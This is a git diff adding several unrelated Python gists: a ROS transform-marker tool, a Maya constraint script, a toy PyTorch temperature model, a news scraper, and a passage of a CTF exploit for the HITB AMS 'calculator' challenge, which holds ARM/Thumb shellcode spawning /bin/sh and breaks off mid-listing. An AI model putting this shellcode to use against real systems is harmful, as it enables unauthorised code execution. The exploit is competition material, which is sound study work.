+from geometry_msgs.msg import Point, Pose, PoseStamped, Vector3, Quaternion
+import tf
+from tf.transformations import quaternion_from_euler, euler_from_quaternion
+from math import radians
+
+
+class InteractiveMarkerPoseStampedPublisher():
+
+    def __init__(self, from_frame, to_frame, position, orientation):
+        self.server = InteractiveMarkerServer("posestamped_im")
+        o = orientation
+        r, p, y = euler_from_quaternion([o.w, o.x, o.y, o.z])
+        rospy.loginfo("Publishing transform and PoseStamped from: " +
+                      from_frame + " to " + to_frame +
+                      " at " + str(position.x) + " " + str(position.y) + " " + str(position.z) +
+                      " and orientation " + str(o.x) + " " + str(o.y) +
+                      " " + str(o.z) + " " + str(o.w) + " or rpy " +
+                      str(r) + " " + str(p) + " " + str(y))
+        self.menu_handler = MenuHandler()
+        self.from_frame = from_frame
+        self.to_frame = to_frame
+        # Transform broadcaster
+        self.tf_br = tf.TransformBroadcaster()
+
+        self.pub = rospy.Publisher('/posestamped', PoseStamped, queue_size=1)
+        rospy.loginfo("Publishing posestampeds at topic: " + str(self.pub.name))
+        pose = Pose()
+        pose.position = position
+        pose.orientation = orientation
+        self.last_pose = pose
+        self.print_commands(pose)
+        self.makeGraspIM(pose)
+
+        self.server.applyChanges()
+
+    def processFeedback(self, feedback):
+        """
+        :type feedback: InteractiveMarkerFeedback
+        """
+        s = "Feedback from marker '" + feedback.marker_name
+        s += "' / control '" + feedback.control_name + "'"
+
+        mp = ""
+        if feedback.mouse_point_valid:
+            mp = " at " + str(feedback.mouse_point.x)
+            mp += ", " + str(feedback.mouse_point.y)
+            mp += ", " + str(feedback.mouse_point.z)
+            mp += " in frame " + feedback.header.frame_id
+
+        if feedback.event_type == InteractiveMarkerFeedback.BUTTON_CLICK:
+            rospy.logdebug(s + ": button click" + mp + ".")
+
+        elif feedback.event_type == InteractiveMarkerFeedback.MENU_SELECT:
+            rospy.logdebug(s + ": menu item " + str(feedback.menu_entry_id) + " clicked" + mp + ".")
+            if feedback.menu_entry_id == 1:
+                rospy.logdebug("Start publishing transform...")
+                if self.tf_br is None:
+                    self.tf_br = tf.TransformBroadcaster()
+            elif feedback.menu_entry_id == 2:
+                rospy.logdebug("Stop publishing transform...")
+                self.tf_br = None
+
+            # When clicking this event triggers!
+        elif feedback.event_type == InteractiveMarkerFeedback.POSE_UPDATE:
+            rospy.logdebug(s + ": pose changed")
+
+        elif feedback.event_type == InteractiveMarkerFeedback.MOUSE_DOWN:
+            rospy.logdebug(s + ": mouse down" + mp + ".")
+
+        elif feedback.event_type == InteractiveMarkerFeedback.MOUSE_UP:
+            rospy.logdebug(s + ": mouse up" + mp + ".")
+
+        # TODO: Print here the commands
+        # tf static transform
+        self.print_commands(feedback.pose)
+
+
+        self.last_pose = deepcopy(feedback.pose)
+
+        self.server.applyChanges()
+
+    def print_commands(self, pose, decimals=4):
+        p = pose.position
+        o = pose.orientation
+
+        print "\n---------------------------"
+        print "Static transform publisher command (with roll pitch yaw):"
+        common_part = "rosrun tf static_transform_publisher "
+        pos_part = str(round(p.x, decimals)) + " " + str(round(p.y, decimals)) + " "+ str(round(p.z, decimals))
+        r, p, y = euler_from_quaternion([o.w, o.x, o.y, o.z])
+        ori_part = str(round(r, decimals)) + " " + str(round(p, decimals)) + " " + str(round(y, decimals))
+        static_tf_cmd = common_part + pos_part + " " + ori_part + " " + self.from_frame + " " + self.to_frame + " 50"
+        print "  " + static_tf_cmd
+        print
+        print "Static transform publisher command (with quaternion):"
+        ori_q = str(round(o.x, decimals)) + " " + str(round(o.y, decimals)) + " " + str(round(o.z, decimals)) + " " + str(round(o.w, decimals))
+        static_tf_cmd = common_part + pos_part + " " + ori_q + " " + self.from_frame + " " + self.to_frame + " 50"
+        print "  " + static_tf_cmd
+        print
+
+        print "Roslaunch line of static transform publisher (rpy):"
+        node_name = "from_" + self.from_frame + "_to_" + self.to_frame + "_static_tf"
+        roslaunch_part = '  <node name="' + node_name + '" pkg="tf" type="static_transform_publisher" args="' +\
+                         pos_part + " " + ori_part + " " + self.from_frame + " " + self.to_frame + " 50" + '" />'
+        print roslaunch_part
+        print
+
+        print "URDF format:"  # <origin xyz="0.04149 -0.01221 0.001" rpy="0 0 0" />
+        print '  <origin xyz="' + pos_part + '" rpy="' + ori_part + '" />'
+        print "\n---------------------------"
+
+    def makeArrow(self, msg):
+        marker = Marker()
+
+        # An arrow that's squashed to easier view the orientation on roll
+        marker.type = Marker.ARROW
+        marker.scale.x = 0.15
+        marker.scale.y = 0.08
+        marker.scale.z = 0.03
+        marker.color.r = 0.3
+        marker.color.g = 0.3
+        marker.color.b = 0.5
+        marker.color.a = 1.0
+
+        return marker
+
+    def makeBoxControl(self, msg):
+        control = InteractiveMarkerControl()
+        control.always_visible = True
+        control.markers.append(self.makeArrow(msg))
+        msg.controls.append(control)
+        return control
+
+    def makeGraspIM(self, pose):
+        """
+        :type pose: Pose
+        """
+        int_marker = InteractiveMarker()
+        int_marker.header.frame_id = self.from_frame
+        int_marker.pose = pose
+        int_marker.scale = 0.3
+
+        int_marker.name = "6dof_eef"
+        int_marker.description = "transform from " + self.from_frame + " to " + self.to_frame
+
+        # insert a box, well, an arrow
+        self.makeBoxControl(int_marker)
+        int_marker.controls[0].interaction_mode = InteractiveMarkerControl.MOVE_ROTATE_3D
+
+        control = InteractiveMarkerControl()
+        control.orientation.w = 1
+        control.orientation.x = 1
+        control.orientation.y = 0
+        control.orientation.z = 0
+        control.name = "rotate_x"
+        control.interaction_mode = InteractiveMarkerControl.ROTATE_AXIS
+        int_marker.controls.append(control)
+
+        control = InteractiveMarkerControl()
+        control.orientation.w = 1
+        control.orientation.x = 1
+        control.orientation.y = 0
+        control.orientation.z = 0
+        control.name = "move_x"
+        control.interaction_mode = InteractiveMarkerControl.MOVE_AXIS
+        int_marker.controls.append(control)
+
+        control = InteractiveMarkerControl()
+        control.orientation.w = 1
+        control.orientation.x = 0
+        control.orientation.y = 1
+        control.orientation.z = 0
+        control.name = "rotate_z"
+        control.interaction_mode = InteractiveMarkerControl.ROTATE_AXIS
+        int_marker.controls.append(control)
+
+        control = InteractiveMarkerControl()
+        control.orientation.w = 1
+        control.orientation.x = 0
+        control.orientation.y = 1
+        control.orientation.z = 0
+        control.name = "move_z"
+        control.interaction_mode = InteractiveMarkerControl.MOVE_AXIS
+        int_marker.controls.append(control)
+
+        control = InteractiveMarkerControl()
+        control.orientation.w = 1
+        control.orientation.x = 0
+        control.orientation.y = 0
+        control.orientation.z = 1
+        control.name = "rotate_y"
+        control.interaction_mode = InteractiveMarkerControl.ROTATE_AXIS
+        int_marker.controls.append(control)
+
+        control = InteractiveMarkerControl()
+        control.orientation.w = 1
+        control.orientation.x = 0
+        control.orientation.y = 0
+        control.orientation.z = 1
+        control.name = "move_y"
+        control.interaction_mode = InteractiveMarkerControl.MOVE_AXIS
+        int_marker.controls.append(control)
+
+        control = InteractiveMarkerControl()
+        control.orientation.w = 1
+        control.orientation.x = 0
+        control.orientation.y = 0
+        control.orientation.z = 1
+        control.name = "move_3d"
+        control.interaction_mode = InteractiveMarkerControl.MOVE_3D
+        int_marker.controls.append(control)
+
+        self.menu_handler.insert("Publish transform",
+                                 callback=self.processFeedback)
+        self.menu_handler.insert("Stop publishing transform",
+                                 callback=self.processFeedback)
+
+        self.server.insert(int_marker, self.processFeedback)
+        self.menu_handler.apply(self.server, int_marker.name)
+
+    def run(self):
+        r = rospy.Rate(20)
+        while not rospy.is_shutdown():
+            if self.tf_br is not None:
+                pos = self.last_pose.position
+                ori = self.last_pose.orientation
+                self.tf_br.sendTransform(
+                                         (pos.x, pos.y, pos.z),
+                                         (ori.x, ori.y, ori.z, ori.w),
+                                         rospy.Time.now(),
+                                         self.to_frame,
+                                         self.from_frame
+                                         )
+            ps = PoseStamped()
+            ps.pose = self.last_pose
+            ps.header.frame_id = self.from_frame
+            ps.header.stamp = rospy.Time.now()
+            self.pub.publish(ps)
+            r.sleep()
+
+
+def usage():
+    print "Generate an interactive marker to setup your transforms."
+    print "Usage:"
+    print sys.argv[0] + " from_frame to frame position (x,y,z) orientation (r,p,y) or (x,y,z,w)"
+    print sys.argv[0] + " <from_frame> <to_frame> x y z r p y [deg]"
+    print sys.argv[0] + " <from_frame> <to_frame> x y z x y z w"
+    print "For example (they all do the same):"
+    print sys.argv[0] + " base_footprint new_frame 1.0 0.0 1.0 0.0 0.0 90.0 deg"
+    print sys.argv[0] + " base_footprint new_frame 1.0 0.0 1.0 0.0 0.0 1.57"
+    print sys.argv[0] + " base_footprint new_frame 1.0 0.0 1.0 0.0 0.0 0.7071 0.7071"
+    print "You can stop publishing transforms in the right click menu of the interactive marker."
+
+if __name__ == "__main__":
+    rospy.init_node("tf_interactive_marker", anonymous=True)
+    cleaned_args = rospy.myargv(sys.argv)
+    if "-h" in cleaned_args or "--help" in cleaned_args:
+        usage()
+        exit()
+    if len(cleaned_args) not in [9, 10]:
+        print "Arguments error."
+        usage()
+        exit()
+    print len(cleaned_args)
+    from_frame = cleaned_args[1]
+    to_frame = cleaned_args[2]
+    px, py, pz = [float(item) for item in cleaned_args[3:6]]
+    position = Point(px, py, pz)
+    if len(cleaned_args) == 9:
+        r, p, y = [float(item) for item in cleaned_args[6:]]
+        quat = quaternion_from_euler(r, p, y)
+        orientation = Quaternion(quat[1], quat[2], quat[3], quat[0])
+    elif cleaned_args[-1] == 'deg':
+        r, p, y = [radians(float(item)) for item in cleaned_args[6:-1]]
+        quat = quaternion_from_euler(r, p, y)
+        orientation = Quaternion(quat[1], quat[2], quat[3], quat[0])
+    else:
+        x, y, z, w = [float(item) for item in cleaned_args[-4:]]
+        orientation = Quaternion(x, y, z, w)
+
+    ig = InteractiveMarkerPoseStampedPublisher(from_frame, to_frame,
+                                               position, orientation)
+    ig.run()
diff --git a/hard-gists/2aa430e00dde0cf905a9/._snippet.py b/hard-gists/2aa430e00dde0cf905a9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2aa430e00dde0cf905a9/._snippet.py differ
diff --git a/hard-gists/2aa430e00dde0cf905a9/snippet.py b/hard-gists/2aa430e00dde0cf905a9/snippet.py
new file mode 100644
index 00000000..af38d99b
--- /dev/null
+++ b/hard-gists/2aa430e00dde0cf905a9/snippet.py
@@ -0,0 +1,251 @@
+# -*- coding: utf-8 -*-
+
+
+import re
+import anyconfig
+
+from maya.api import OpenMaya as OpenMaya2
+
+##############################################################################
+
+
+PARENT_CONS_TYPE_ID = OpenMaya2.MTypeId(0x44504152)
+##############################################################################
+
+
+def get_node(x):
+
+    try:
+        y = OpenMaya2.MGlobal.getSelectionListByName("{}*".format(x))
+    except RuntimeError:
+        return ''
+
+    try:
+        return y.getDagPath(0)
+    except:
+        return y.getDependNode(0)
+
+
+def get_rotation(dag_path, space=OpenMaya2.MSpace.kWorld):
+
+    tra = OpenMaya2.MFnTransform(dag_path)
+    return tra.rotation(space, True)  # as quat
+
+
+def set_rotation(dag_path, v, space=OpenMaya2.MSpace.kWorld):
+
+    tra = OpenMaya2.MFnTransform(dag_path)
+    return tra.setrotation(v, space)
+
+
+def get_translation(dag_path, space=OpenMaya2.MSpace.kWorld):
+
+    tra = OpenMaya2.MFnTransform(dag_path)
+    return tra.translation(space)
+
+
+def set_translation(dag_path, v, space=OpenMaya2.MSpace.kWorld):
+
+    tra = OpenMaya2.MFnTransform(dag_path)
+    return tra.setTranslation(v, space)
+
+
+def match(def_file_name="test.yaml", domain="match_guide_on_bone"):
+
+    map = anyconfig.load(def_file_name)
+
+    for m in map[domain]:
+        do_match(m)
+
+
+def do_match(entry):
+
+    d = get_node(entry['dst'])
+    s = get_node(entry['src'])
+
+    if not d or not s:
+        print('nothing todo with {}'.format(entry))
+        return
+
+    v_s = get_translation(s)
+    set_translation(d, v_s)
+
+
+def connect_on_deformer(def_file_name="test.yaml", domain="bone_on_deformer"):
+
+    map = anyconfig.load(def_file_name)
+
+    for m in map[domain]:
+        do_connect(m)
+
+
+plug_exp = re.compile(
+    "(?P<parent_name>\w+)\[(?P<parent_idx>\d+)\]\.(?P<target_name>\w+)")
+
+
+def _get_plug(node, name):
+
+    if '.' in name:
+
+        m = plug_exp.match(name)
+        container_plug = node.findPlug(m.group('parent_name'), False)
+
+        if container_plug.isArray:
+
+            # mind glitch, setting connection index
+            #  with "selectAncestorLogicalIndex"
+            kid_attr = container_plug.attribute()
+            kid_plug = node.findPlug(m.group('target_name'), False)
+            kid_plug.selectAncestorLogicalIndex(
+                int(m.group('parent_idx')), kid_attr)
+
+    else:
+        kid_plug = node.findPlug(name, False)
+
+    return kid_plug
+
+
+def do_connect(entry):
+
+    d = get_node(entry['dst'])
+    s = get_node(entry['src'])
+
+    if not d or not s:
+        print('nothing todo with {}'.format(entry))
+        return
+
+    cons_name = "{}_parentConstraint".format(d)
+
+    cons_node = OpenMaya2.MFnDependencyNode()
+    cons_node.create(PARENT_CONS_TYPE_ID, cons_name)
+    x = get_node(cons_name).node()
+
+    dag_mod = OpenMaya2.MDagModifier()
+    dag_mod.reparentNode(x, d.node())
+    dag_mod.doIt()
+
+    src_node = OpenMaya2.MFnDependencyNode().setObject(s.node())
+    dst_node = OpenMaya2.MFnDependencyNode().setObject(d.node())
+
+    d2c = [
+        ["jointOrient", "constraintJointOrient"],
+        ["rotatePivot", "constraintRotatePivot"],
+        ["parentInverseMatrix[0].parentInverseMatrix",
+            "constraintParentInverseMatrix"],
+        ["rotateOrder", "constraintRotateOrder"],
+        ["rotatePivotTranslate", "constraintRotateTranslate"]
+    ]
+
+    s2c = [
+
+        ["translate",              "target[0].targetTranslate"],
+        ["rotate",                 "target[0].targetRotate"],
+        ["scale",                  "target[0].targetScale"],
+        ["parentMatrix[0].parentMatrix", "target[0].targetParentMatrix"],
+        # ["instObjGroups[0]",       ""],
+        ["rotatePivot",            "target[0].targetRotatePivot"],
+        ["rotatePivotTranslate",   "target[0].targetRotateTranslate"],
+        ["rotateOrder",            "target[0].targetRotateOrder"],
+        ["jointOrient",            "target[0].targetJointOrient"],
+        ["segmentScaleCompensate", "target[0].targetScaleCompensate"],
+        ["inverseScale",           "target[0].targetInverseScale"]
+
+    ]
+
+    c2d = [
+        # "inverseScale",
+        # "drawOverride",
+        # "scale",
+        # "worldMatrix[0]",
+        # "lockInfluenceWeights",
+        # "objectColorRGB",
+        # "message",
+        # "bindPose",
+        ["constraintTranslateX", "translateX"],
+        ["constraintTranslateY", "translateY"],
+        ["constraintTranslateZ", "translateZ"],
+        ["constraintRotateX", "rotateX"],
+        ["constraintRotateY", "rotateY"],
+        ["constraintRotateZ", "rotateZ"]
+        # ["rotateOrder]"
+        # "parentInverseMatrix[0]",
+        # "rotatePivot",
+        # "rotatePivotTranslate",
+        # "jointOrient"
+    ]
+
+    def _conn(map_array, src, dst):
+        for a in map_array:
+            # print a[0], a[1]
+            src_plug = _get_plug(src, a[0])
+            dst_plug = _get_plug(dst, a[1])
+
+            dg_mod.connect(src_plug, dst_plug)
+
+    def offset(node, pos, rot):
+        offset_plug_p_x = _get_plug(node, "target[0].targetOffsetTranslateX")
+        offset_plug_p_y = _get_plug(node, "target[0].targetOffsetTranslateY")
+        offset_plug_p_z = _get_plug(node, "target[0].targetOffsetTranslateZ")
+
+        offset_plug_r_x = _get_plug(node, "target[0].targetOffsetRotateX")
+        offset_plug_r_y = _get_plug(node, "target[0].targetOffsetRotateY")
+        offset_plug_r_z = _get_plug(node, "target[0].targetOffsetRotateZ")
+
+        offset_plug_p_x.setDouble(pos[0])
+        offset_plug_p_y.setDouble(pos[1])
+        offset_plug_p_z.setDouble(pos[2])
+
+        if (not rot[0]):
+            rot[0] = 0
+        if (not rot[1]):
+            rot[1] = 0
+        if (not rot[2]):
+            rot[2] = 0
+
+        offset_plug_r_x.setDouble(rot[0])
+        offset_plug_r_y.setDouble(rot[1])
+        offset_plug_r_z.setDouble(rot[2])
+
+        print rot
+
+    # dg_mod, must call doIt() later.
+    dg_mod = OpenMaya2.MDGModifier()
+
+    # dst to cns, for some settings
+    _conn(d2c, dst_node, cons_node)
+
+    # src to cos
+    _conn(s2c, src_node, cons_node)
+
+    # cons to dst
+    _conn(c2d, cons_node, dst_node)
+
+    print d
+
+    ####################################################################
+    # store transforms for offset
+    posspace = OpenMaya2.MSpace.kTransform
+    rotspace = OpenMaya2.MSpace.kTransform
+
+    original_pos = get_translation(d, posspace)
+    original_rot = get_rotation(d, rotspace)
+
+    joint_orient_x = _get_plug(dst_node, "jointOrientX").asFloat()
+    joint_orient_y = _get_plug(dst_node, "jointOrientY").asFloat()
+    joint_orient_z = _get_plug(dst_node, "jointOrientZ").asFloat()
+    joint_orient_eul = OpenMaya2.MEulerRotation(
+        joint_orient_x, joint_orient_y, joint_orient_z)
+
+    joint_orient = OpenMaya2.MQuaternion().setValue(joint_orient_eul)
+
+    dg_mod.doIt()
+
+    # maintain offset
+    _pos = get_translation(d, posspace)
+    _rot = get_rotation(d, rotspace)
+
+    diff_pos = original_pos - _pos
+    diff_rot = original_rot * _rot.invertIt()
+    diff_pos = diff_pos.rotateBy(joint_orient.invertIt()).rotateBy(diff_rot)
+
+    offset(cons_node, diff_pos, diff_rot.asEulerRotation())
diff --git a/hard-gists/2b19fd6f758ffd2e8ab9ec7d1f3f4b2c/._snippet.py b/hard-gists/2b19fd6f758ffd2e8ab9ec7d1f3f4b2c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2b19fd6f758ffd2e8ab9ec7d1f3f4b2c/._snippet.py differ
diff --git a/hard-gists/2b19fd6f758ffd2e8ab9ec7d1f3f4b2c/snippet.py b/hard-gists/2b19fd6f758ffd2e8ab9ec7d1f3f4b2c/snippet.py
new file mode 100644
index 00000000..9ec19c09
--- /dev/null
+++ b/hard-gists/2b19fd6f758ffd2e8ab9ec7d1f3f4b2c/snippet.py
@@ -0,0 +1,136 @@
+# Toy example of using a deep neural network to predict average temperature
+# by month. Note that this is not any better than just taking the average
+# of the dataset; it's just meant as an example of a regression analysis using
+# neural networks.
+
+import logging
+import datetime
+
+import pandas as pd
+import torch
+import torch.nn as nn
+from torch.autograd import Variable
+import matplotlib.pyplot as plt
+import matplotlib
+matplotlib.style.use('ggplot')
+
+log = logging.getLogger(__name__)
+
+BATCH_SIZE = 12
+HIDDEN_SIZE = 512
+NUM_LAYERS = 2
+NUM_EPOCHS = 100
+LEARNING_RATE = 0.005
+DROPOUT = 0.2
+
+class RNN(nn.Module):
+
+    def __init__(self, input_size, hidden_size, output_size, n_layers=1, dropout=DROPOUT):
+        super(RNN, self).__init__()
+        self.input_size = input_size
+        self.hidden_size = hidden_size
+        self.output_size = output_size
+        self.n_layers = n_layers
+
+        self.encoder = nn.Embedding(input_size, hidden_size)
+        self.m = nn.Sequential(nn.ReLU(),
+                               nn.Dropout(p=0.2),
+                               nn.ReLU())
+        self.decoder = nn.Linear(hidden_size, output_size)
+
+    def forward(self, inp, hidden):
+        inp = self.encoder(inp)
+        # output = BATCH_SIZE, SEQLEN, HIDDEN_SIZE
+        # ex. torch.Size([30, 50, 512])
+        output = self.m(inp)
+
+        # Now BATCHSIZE * SEQLEN, HIDDEN_SIZE
+        # torch.Size([1500, 512])
+        output = output.contiguous().view(-1, hidden.size(2))
+
+        # Should now be BATCH_SIZE * SEQLEN, VOCAB_SIZE
+        # torch.Size([1500, 154])
+        logits = self.decoder(output)
+
+        return logits, hidden
+
+    def init_hidden(self):
+        # The hidden state will use BATCH_SIZE in the 1st position even if we hand data as batch_first
+        return Variable(torch.zeros(self.n_layers, BATCH_SIZE, self.hidden_size).cuda())
+
+
+def main():
+
+    print_every = 10
+    # Data from https://www.kaggle.com/berkeleyearth/climate-change-earth-surface-temperature-data
+    # licened under https://creativecommons.org/licenses/by-nc-sa/4.0/
+    df = pd.read_csv('GlobalLandTemperaturesByState.csv')
+    df = df.loc[df.State == 'Massachusetts']
+    df = df.dropna()
+    df['dt'] = pd.to_datetime(df.dt)
+    df = df.loc[df.dt >= datetime.datetime(1800, 1, 1)]  # Dates before this are too variable
+    df = df.loc[df.dt < datetime.datetime(2012, 1, 1)]  # 2013 has incomplete data
+    df['month'] = df.dt.dt.month
+    df['year'] = df.dt.dt.year
+
+    rnn = RNN(12, HIDDEN_SIZE, 1, n_layers=NUM_LAYERS)
+    rnn.cuda()
+
+    optimizer = torch.optim.Adam(rnn.parameters(), lr=LEARNING_RATE)
+    criterion = torch.nn.MSELoss(size_average=False)
+    criterion.cuda()
+
+    loss_avg = 0
+    total_count = 0
+    for epoch in range(0, NUM_EPOCHS + 1):
+        df = df.sample(frac=1)  # Shuffle
+
+        # For each year in the sequence, create a batch of length 12 (each month)
+        for year in range(df.year.min(), df.year.max()):
+            data = df.loc[df.year == year]
+
+            inp = Variable(torch.LongTensor([int(i - 1) for i in data.month.values]), requires_grad=False).cuda()
+            targets = Variable(torch.FloatTensor([float(f) for f in data.AverageTemperature.values]), requires_grad=False).cuda()
+            hidden = rnn.init_hidden()
+            rnn.train()
+            rnn.zero_grad()
+
+            output, _ = rnn(inp, hidden)
+
+            loss = criterion(output, targets)
+            loss_avg += loss.data[0]  # [ BATCHSIZE x SEQLEN ]
+
+            optimizer.zero_grad()
+            loss.backward()
+            optimizer.step()
+
+            total_count += 1
+
+        if epoch % print_every == 0:
+            log.info("epoch=%d, %d%% loss=%.4f", epoch, epoch / NUM_EPOCHS * 100, loss_avg / total_count)
+
+
+    torch.save(rnn, "weather-predictor")
+    # I'm an American
+    df['f'] = df.AverageTemperature.apply(lambda x: (9.0 / 5.0 * x) + 32)
+    temps = []
+
+    # Prediction stage: predict by month
+    for i in range(0, 12):
+        rnn.eval()
+        inp = Variable(torch.LongTensor([[i]]), volatile=True).cuda()
+        hidden = rnn.init_hidden()
+        logits, hidden = rnn(inp, hidden)
+        pred = logits[-1, :].data[0]
+        temp = (9.0 / 5.0 * pred) + 32
+        temps.append(temp)
+        print("Average temp in month ", i + 1, int(temp))
+
+    # Compare against the most recent year for which we have data excluded from our training set
+    year = df.loc[df.year == 2012]
+    p = pd.DataFrame([year.f, temps], index=[year.month])
+    p.plot()
+    plt.show()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/2b2abbb88b5d2b4f4e5adde42975fd0f/._snippet.py b/hard-gists/2b2abbb88b5d2b4f4e5adde42975fd0f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2b2abbb88b5d2b4f4e5adde42975fd0f/._snippet.py differ
diff --git a/hard-gists/2b2abbb88b5d2b4f4e5adde42975fd0f/snippet.py b/hard-gists/2b2abbb88b5d2b4f4e5adde42975fd0f/snippet.py
new file mode 100644
index 00000000..a237f0d1
--- /dev/null
+++ b/hard-gists/2b2abbb88b5d2b4f4e5adde42975fd0f/snippet.py
@@ -0,0 +1,95 @@
+from bs4 import BeautifulSoup
+import requests, csv, os
+from newspaper import Article
+from time import gmtime, strftime
+
+#create folder
+identifier = str(strftime("%Y-%m-%d %H-%M-%S", gmtime()))
+os.makedirs('C:\\Users\\person\\folder\\more_folders\\final_folder\\' + identifier)
+
+#beautiful soup stuff - change url to search term
+url = 'http://search.abc.net.au/s/search.html?query=%22hit+and+run%22&collection=news_meta&form=simple&gscope1=10'
+res = requests.get(url)
+soup = BeautifulSoup(res.text, 'html.parser')
+
+#lists of things
+links_titles = []
+links = []
+titles = []
+dates = []
+iterator_list = []
+
+
+#determine amount of results for search term
+soup_results = str(soup.find('p', 'fb-result-count'))
+results_mash = soup_results.split(' ')
+results = results_mash[4].replace(',', '')
+
+print('Currently processing results for \n%s...' % url)
+
+#determine amount of pages for search term
+pages = int(results) // 10 + 1
+print('No. of Pages: %s\nTotal Results: %s' % (pages, results))
+
+#create list of result pages containing 10 links each
+print('Creating list of results pages...')
+results_no = 11
+iterator_list.append(url)
+for i in range(pages-1):
+    link = url + '&start_rank=' + str(results_no)
+    iterator_list.append(link)
+    results_no += 10
+print('Finished creating list of results pages.')
+
+#iterate through pages of results, collate links, titles, dates, in to lists
+print('Pulling dates, links, and titles from each of the %s results pages...' % pages)
+for i in range(pages):
+    local_url = iterator_list[i]
+    local_res = requests.get(local_url)
+    local_soup = BeautifulSoup(local_res.text, 'html.parser')
+    soup_a = local_soup.find_all('a')
+    links_titles = soup_a[31:41]
+    for i in range(len(links_titles)):
+        try:
+            data = str(links_titles[i])
+            mash = data.split('"')
+            link = mash[1]
+            links.append(link)
+            title = mash[4].replace('<strong>', '').replace('</strong>', '') \
+                .replace('</a>', '').replace('>', '').strip()
+            titles.append(title)
+        except IndexError: #why does this need to be here? i don't know
+            break
+    datemash = local_soup.find_all('span', 'fb-date')
+    for i in range(len(datemash)):
+        data = str(datemash[i])
+        date = data.replace('<span class="fb-date">', '').replace('</span>', '').replace(' ', '-')
+        dates.append(date)
+print('Data successfully scraped from %s pages.' % pages)
+
+#saving articles - change path to folder (folder must end with \\)
+print('Downloading %s articles. This stage will take some time.\nProgress can be checked in the destination folder.' % results)
+print('Errors:')
+for i in range(len(links)):
+    article_link = links[i]
+    try:
+        filename = i+1
+        article = Article(article_link)
+        article.download()
+        article.parse()
+        file = open('C:\\Users\\person\\folder\\more_folders\\final_folder\\' + identifier + '\\' + str(filename) + '.txt', 'w')
+        file.write('%s\n' %(dates[i]))
+        file.write(article.text)
+    except Exception as e:
+        print('Error in article %s, link %s, error: %s' %((i+1), links[i], str(e)))
+print('Downloading of %s articles complete.' % results)
+
+#change path to name of CSV to be created
+print('Creating .csv of links, titles, dates...')
+with open('C:\\Users\\person\\folder\\more_folders\\final_folder\\' + identifier + '\\' + 'data.csv', 'wt', newline = '') as f:
+   writer = csv.writer(f)
+   rows = zip(dates, titles, links)
+   for row in rows:
+       writer.writerow(row)
+
+print('Data.csv successfully created.\nWeb scrape finished.')
\ No newline at end of file
diff --git a/hard-gists/2b3003f44b3ddf5931c9a5e61d8ba417/._snippet.py b/hard-gists/2b3003f44b3ddf5931c9a5e61d8ba417/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2b3003f44b3ddf5931c9a5e61d8ba417/._snippet.py differ
diff --git a/hard-gists/2b3003f44b3ddf5931c9a5e61d8ba417/snippet.py b/hard-gists/2b3003f44b3ddf5931c9a5e61d8ba417/snippet.py
new file mode 100644
index 00000000..26eca735
--- /dev/null
+++ b/hard-gists/2b3003f44b3ddf5931c9a5e61d8ba417/snippet.py
@@ -0,0 +1,239 @@
+#!/usr/bin/python
+
+# Exploit for the BIN 300 (calculator) challenge during HITB AMS CTF
+# We control 4 bytes every 8 bytes
+# As Thumb instructions are 2 bytes we can make the processor switch instruction set and use a shellcode
+# that does one instruction and a short branch to skip the next dword
+
+from unicorn import *
+from unicorn.arm_const import *
+from keystone import *
+from pwn import *
+import struct
+
+#utility functions
+def p32(v):
+    return struct.pack("<I", v)
+
+def print_ba(ba):
+    print ''.join('{:02x}'.format(x) for x in ba)
+
+def print_dword(addr):
+    s = ''.join('{:02x}'.format(x) for x in u.mem_read(addr, 4)[::-1])
+    print '0x%s' % s,
+
+
+# dumps memory gdb style
+def dump_mem(start, length = 0xffffff):
+    assert (start >= addr and start < end)
+    
+    local_end = start + length if start + length < end else end
+    i = 0
+    while start < local_end:
+        if i % 4 == 0:
+            print '\n', hex(start), ':',
+        print_dword(start),
+        print '  ',
+        start += 4
+        i += 1
+    print
+
+def dump_str(addr):
+    s = []
+    while True:
+        
+        b = u.mem_read(addr, 1)
+        if b[0] == 0:
+            return ''.join(chr(b) for b in s)
+        s.append(b[0])
+        addr += 1
+
+def dump_regs():
+    print 'PC: 0x%x' % u.reg_read(UC_ARM_REG_PC)
+    print 'R0: 0x%x - %s' % (u.reg_read(UC_ARM_REG_R0), dump_str(u.reg_read(UC_ARM_REG_R0)))
+    print 'R1: 0x%x' % u.reg_read(UC_ARM_REG_R1)
+    print 'R2: 0x%x' % u.reg_read(UC_ARM_REG_R2)
+    print 'R3: 0x%x' % u.reg_read(UC_ARM_REG_R3)
+    print 'R4: 0x%x' % u.reg_read(UC_ARM_REG_R4)
+    print 'R7: 0x%x' % u.reg_read(UC_ARM_REG_R7)
+
+
+addr = 0x13370000
+end = addr + 0x2000
+
+START = b'\xf8\x0f\x9f\xe5' # ldr r0, [pc, #0xff8]
+PADD  = b'\xff'*4
+LOAD  = b'\xfc\x1f\x9f\xe5' # ldr r1, [pc, #0xffc]
+ADD   = b'\x01\x00\x80\xe0'
+SUB   = b'\x01\x00\x40\xe0'
+MUL   = b'\x91\x00\x00\xe0'
+OR    = b'\x01\x00\x80\xe1'
+AND   = b'\x01\x00\x00\xe0'
+
+
+def assemble(code):
+    global ks
+    try:
+        ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
+        encoding, _ = ks.asm(code)
+        return ''.join(chr(b) for b in encoding)
+    except KsError as e:
+        return None
+
+def assemble_thumb(code):
+    global ks
+    try:
+        ks = Ks(KS_ARCH_ARM, KS_MODE_THUMB)
+        encoding, _ = ks.asm(code)
+        return ''.join(chr(b) for b in encoding)
+    except KsError as e:
+        return None
+
+
+B6 = assemble_thumb(b"B 6")
+
+#Short branch and will exchange instruction set
+BLX8  = assemble(b"BLX 8")
+
+# Thumb shellcode to do execve("/bin/sh", {"/bin/sh", NULL }, NULL)
+# This shellcode only writes "/sh\0" to memory as we can generate '/bin' with the expression
+# we pass to the program
+shellcode = b"""
+    mov r0, pc;
+    adds r0, #0xc4;
+    
+    movs r1, r0;
+    
+    movs r3, #0;
+    adds r0, r0, #12;
+    str r3, [r0];
+    subs r0, r0, #12;
+    
+    adds r1, r1, #8;
+    
+    movs r3, r0;
+    
+    adds r3, r3, #4;
+    movs r4, #0x2f;
+    strb r4, [r3]; 
+    
+    adds r3, r3, #1;
